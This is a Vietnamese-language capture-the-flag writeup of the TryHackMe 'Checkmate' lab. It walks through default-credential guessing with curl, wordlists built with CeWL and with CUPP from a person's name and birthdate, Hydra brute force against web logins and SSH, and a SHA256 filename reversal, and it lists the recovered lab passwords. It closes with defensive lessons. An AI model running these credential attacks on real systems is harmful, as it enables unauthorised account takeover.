TryHackMe - Checkmate | Writeup chi tiết (Red + Web)
Bối cảnh: Writeup phòng lab TryHackMe "Checkmate" — môi trường được phép, thực hiện trong VPN lab, mục đích học tập & phòng thủ. Mọi thao tác chỉ áp dụng cho máy mục tiêu của lab.
Độ khó: Medium · Chủ đề: Password security assessment — default creds, CeWL, CUPP, hash reverse, crunch + Hydra (logical brute-force)
Marco Bianchi (sysadmin) triển khai nhiều dịch vụ nội bộ và tái sử dụng mật khẩu yếu / đoán được trên tất cả. Nhiệm vụ: đánh giá điểm yếu mật khẩu qua 5 level, nộp đáp án vào control panel :5000.
⚠️ Brute-force trực tiếp control panel
:5000là out-of-scope (bị rate-limit). Tấn công đúng dịch vụ tương ứng (5001/5002/5003/SSH),:5000chỉ để verify.
1. Recon — Nmap
nmap -Pn -sC -sV -p22,5000,5001,5002,5003 <MACHINE_IP>
| Port | Service |
|---|---|
| 22 | OpenSSH 9.6p1 |
| 5000 | "Operation Checkmate" — control panel / verifier (5 level) |
| 5001 | FirewallOS — Sign in |
| 5002 | Engineering Careers — employee portal |
| 5003 | social.thm — Log in |
2. Level 1 — Firewall :5001 — Default Credentials
FirewallOS dùng cred mặc định. Thử list nhỏ có lý:
for p in admin 12345 password admin123 changeme firewall default; do
curl -s -o /dev/null -w "%{http_code} <- $p\n" \
-d "username=admin&password=$p" http://<MACHINE_IP>:5001/login
done
Chỉ admin:12345 trả HTTP 302 → dashboard (còn lại 200 = fail).
Level 1 =
12345(admin:12345)
3. Level 2 — Jobs :5002 — CeWL + Hydra
Marco dùng company keyword làm mật khẩu. Crawl chính website để sinh wordlist (CeWL) — brute có logic, wordlist lấy từ nội dung site:
cewl -d 2 -m 4 -w cewl-jobs.txt http://<MACHINE_IP>:5002/
hydra -l marco -P cewl-jobs.txt <MACHINE_IP> -s 5002 http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials." -t 8 -f
[5002][http-post-form] login: marco password: excellence
Level 2 =
excellence
Đăng nhập employee portal → trang profile lộ OSINT cho level sau: Nickname: marky, Birthdate (DDMMYYYY): 14021995.
4. Level 3 — Social :5003 — CUPP + Hydra
Sinh wordlist mục tiêu từ thông tin cá nhân Marco bằng CUPP (Common User Passwords Profiler):
python3 cupp.py -i
# First: Marco | Surname: Bianchi | Nickname: marky | Birthdate: 14021995
# -> marco.txt (~2912 mật khẩu, gồm Bianchi2495)
hydra -l marco -P cupp-marco.txt <MACHINE_IP> -s 5003 http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials." -t 8 -f
[5003][http-post-form] login: marco password: Bianchi2495
Level 3 =
Bianchi2495
5. Level 4 — Ảnh profile — SHA256 filename reverse
Social lưu ảnh upload dưới dạng SHA256(tên_file_gốc).png. Ảnh profile Marco:
/uploads/d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b.png
Hash các tên file phổ biến đến khi khớp:
python3 -c 'import hashlib
t="d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b"
for n in ["family","profile","avatar","marco","me","photo","pic"]:
if hashlib.sha256(n.encode()).hexdigest()==t: print("MATCH:",n)'
# MATCH: family
Level 4 =
family(tên file gốcfamily.png)
6. Level 5 — SSH — Pattern + crunch + Hydra
Trên social, Marco tự khai pattern mật khẩu: "lấy 1 company keyword, viết hoa, thêm năm (vd 2024), thêm dấu !".
Sinh wordlist từ keyword (CeWL ở L2) × năm × ! — brute có logic dựa trên pattern đã biết:
# keywords (Security, Excellence, Innovation...) x 2020-2025 x "!" -> ssh-candidates.txt
hydra -l marco -P ssh-candidates.txt ssh://<MACHINE_IP> -t 4 -f
[22][ssh] login: marco password: Security2024!
Level 5 =
Security2024!
ssh marco@<MACHINE_IP> # uid=1001(marco) — đạt mục tiêu SSH foothold
Tổng kết
| Level | Đáp án | Kỹ thuật (logical brute) |
|---|---|---|
| L1 Firewall | 12345 |
Default credentials |
| L2 Jobs | excellence |
CeWL crawl site → Hydra |
| L3 Social | Bianchi2495 |
CUPP từ personal info → Hydra |
| L4 Ảnh | family |
SHA256 reverse tên file |
| L5 SSH | Security2024! |
Pattern Marco khai → keyword×năm×! → Hydra SSH |
Cả 5 đều "Access Granted ✅" trên control panel :5000.
Bài học phòng thủ:
- Đổi mọi default credential trước khi deploy (FirewallOS).
- Không đặt mật khẩu là keyword công ty / thông tin cá nhân (tên, ngày sinh) — chúng dễ sinh wordlist bằng CeWL/CUPP.
- Không công khai "công thức" tạo mật khẩu — pattern cố định → brute có mục tiêu rất nhanh.
- Không tái sử dụng pattern mật khẩu giữa các hệ thống.
Comments
Join the discussionNo comments yet. Be the first to comment.